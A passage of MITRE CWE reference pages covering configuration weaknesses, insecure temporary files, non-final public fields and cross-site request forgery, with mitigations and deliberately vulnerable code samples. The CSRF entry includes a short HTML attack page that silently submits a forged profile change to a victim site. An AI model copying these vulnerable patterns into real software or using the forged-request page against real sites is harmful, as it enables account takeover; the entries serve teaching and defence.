2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2009-05-27 CWE Content Team MITRE
updated Relationships
2009-03-10 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Race Conditions
2010-12-13 Race Condition
Back to top

CWE CATEGORY: Configuration

Category ID: 16
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are typically introduced during the configuration of the software.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 933 OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves [REF-1287]. This CWE entry may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Mapping is also Prohibited because this entry's status is Obsolete.

Comments:

As of CWE 4.9, "Configuration" is beginning to be treated as an aspect of the SDLC in which a product is directed (by a human or automated process) to perform an insecure behavior. CWE mapping should be conducted by analyzing the weakness in the behavior that has been set by the configuration, such as those related to access control (descendants of CWE-284) or resource management (CWE-400), etc.
+ Notes

Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

Maintenance

This entry is a Category, but various sources map to it anyway, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" sounds more like a Weakness in CWE's style, but it still does not indicate actual behavior of the product. Further research is still required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. URL validated: 2024-11-17.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification Date Modifier Organization
2008-09-08 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2017-11-08 CWE Content Team MITRE
updated Detection_Factors
2018-03-27 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Maintenance_Notes, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Maintenance_Notes, References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships
Back to top

CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID: 379
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
+ Extended Description
On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.
+ Potential Mitigations
Phase(s) Mitigation

Requirements
Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Implementation
Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Implementation
Avoid using vulnerable temp file functions.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 377 Insecure Temporary File
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1219 File Handling Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1


In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

(bad code)
Example Language: C 
FILE *stream;
if( (stream = tmpfile()) == NULL ) {

perror("Could not open new temporary file\n");
return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

(bad code)
Example Language: Java 
try {
File temp = File.createTempFile("pattern", ".suffix");
temp.deleteOnExit();
BufferedWriter out = new BufferedWriter(new FileWriter(temp));
out.write("aString");
out.close();
}
catch (IOException e) {
}

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A hotkey daemon written in Rust creates a domain socket file underneath /tmp, which is accessible by any user.
A Java-based application for a rapid-development framework uses File.createTempFile() to create a random temporary file with insecure default permissions.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 964 SFP Secondary Cluster: Exposure Temporary File
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Guessed or visible temporary file
CERT C Secure Coding FIO15-C Ensure that file operations are performed in a secure directory
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Temporary Files", Page 538. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Name, References, Relationships, Type
2019-06-20 CWE Content Team MITRE
updated Type
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Description, Other_Notes, Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Description, Name
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Guessed or Visible Temporary File
2009-05-27 Creation of Temporary File in Directory with Insecure Permissions
2020-02-24 Creation of Temporary File in Directory with Incorrect Permissions
Back to top

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID: 493
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.
+ Extended Description
If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Application Data

Scope: Integrity

The object could potentially be tampered with.

Read Application Data

Scope: Confidentiality

The object could potentially allow the object to be read.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 500 Public Static Field Not Marked Final
+ Background Details
Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running. Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Object-Oriented (Undetermined Prevalence)

Java (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

(bad code)
Example Language: Java 
public final class WidgetData extends Applet {
public float price;
...
public WidgetData(...) {
this.price = LookupPrice("MyWidgetType");
}
}

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.



Example 2


Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

(bad code)
Example Language: C++ 
public string configPath = "/etc/application/config.dat";
(bad code)
Example Language: Java 
public String configPath = new String("/etc/application/config.dat");

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 485 7PK - Encapsulation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 849 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1002 SFP Secondary Cluster: Unexpected Entry Points
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1440 OWASP Top Ten 2025 Category A05:2025 - Injection
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Mobile Code: Non-Final Public Field
CLASP Failure to provide confidentiality for stored data
The CERT Oracle Secure Coding Standard for Java (2011) OBJ10-J Do not use public static nonfinal variables
Software Fault Patterns SFP28 Unexpected access points
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-05-27 CWE Content Team MITRE
updated Background_Details, Demonstrative_Examples, Description, Relationships
2008-11-24 CWE Content Team MITRE
updated Background_Details, Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Likelihood_of_Exploit, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Mobile Code: Non-final Public Field
Back to top

CWE-352: Cross-Site Request Forgery (CSRF)

Weakness ID: 352 (Structure: Composite) Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Diagram for CWE-352
+ Alternate Terms
Session Riding
Cross Site Reference Forgery
XSRF
CSRF
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Bypass Protection Mechanism; Read Application Data; Modify Application Data; DoS: Crash, Exit, or Restart

Scope: Confidentiality, Integrity, Availability, Non-Repudiation, Access Control

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could trick a client into making an unintentional request to the web server via a URL, image load, XMLHttpRequest, etc., which would then be treated as an authentic request from the client - effectively performing any operations as the victim, leading to an exposure of data, unintended code execution, etc. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Implementation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Architecture and Design
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Note: Note that this can be bypassed using XSS (CWE-79).

Architecture and Design
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note: Note that this can be bypassed using XSS (CWE-79).

Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Note: Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Architecture and Design
Do not use the GET method for any request that triggers a state change.

Implementation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note: Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.
+ Composite Components
Nature Type ID Name
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 346 Origin Validation Error
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
Requires BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 613 Insufficient Session Expiration
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 642 External Control of Critical State Data
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 1275 Sensitive Cookie with Improper SameSite Attribute
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

Web Server (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

(bad code)
Example Language: HTML 
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

profile.php contains the following code.

(bad code)
Example Language: PHP 
// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request

// and update the information

update_profile();

function update_profile {

// read in the data from $POST and send an update

// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

(attack code)
Example Language: HTML 
<SCRIPT>
function SendAttack () {
form.email = "attacker@example.com";
// send to profile.php
form.submit();
}
</SCRIPT>

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Add user accounts via a URL in an img tag
